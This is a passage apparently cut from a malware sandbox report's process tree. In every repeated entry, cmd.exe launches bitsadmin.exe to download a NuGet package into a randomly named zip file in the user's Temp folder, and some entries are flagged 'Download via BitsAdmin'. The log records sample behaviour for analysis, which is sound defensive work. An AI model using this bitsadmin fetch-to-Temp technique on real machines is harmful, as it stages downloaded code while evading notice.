        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1876
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:520
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1668
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1948
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1144
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1480
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1608
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:540
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1064
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:572
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1664
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1940
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1900
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:340
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1060
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1732
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:588
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1592
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1684
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1168
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1580
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1472
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1936
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1832
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1112
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1252
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1684
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:2020
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1680
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1948
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1732
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1596
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:2032
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1304
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:896
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:860
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1148
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1756
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1696
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:2024
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1688
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1732
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1424
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:888
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:748
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1952
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1048
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1064
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1720
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1912
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:340
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1668
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1480
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1084
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1252
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1596
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:540
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1692
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:656
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1696
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1552
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1156
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1600
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1044
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1940
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1304
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1716
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1072
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1372
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:656
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1076
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1500
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1448
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:340
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1976
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:2024
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:968
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1936
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1012
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1700
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1104
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1072
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1952
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1472
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1688
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1424
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:744
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1756
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:968
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1624
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:364
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1148
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1156
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1692
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1168
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1048
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1680
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1956
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        
        PID:1528
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1912
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:1580
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:864
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:960
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:1664
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:768
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /b /c bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        5⤵
        
        PID:912
      - C:\Windows\SysWOW64\bitsadmin.exe
        
        bitsadmin /transfer /download /priority HIGH "https://api.nuget.org/packages/taskscheduler.2.5.23.nupkg" "C:\Users\Admin\AppData\Local\Temp\wnb8k.zip"
        6⤵
        Download via BitsAdmin
        
        PID:744
    - - C:\Windows\SysWOW64\cmd.exe
        
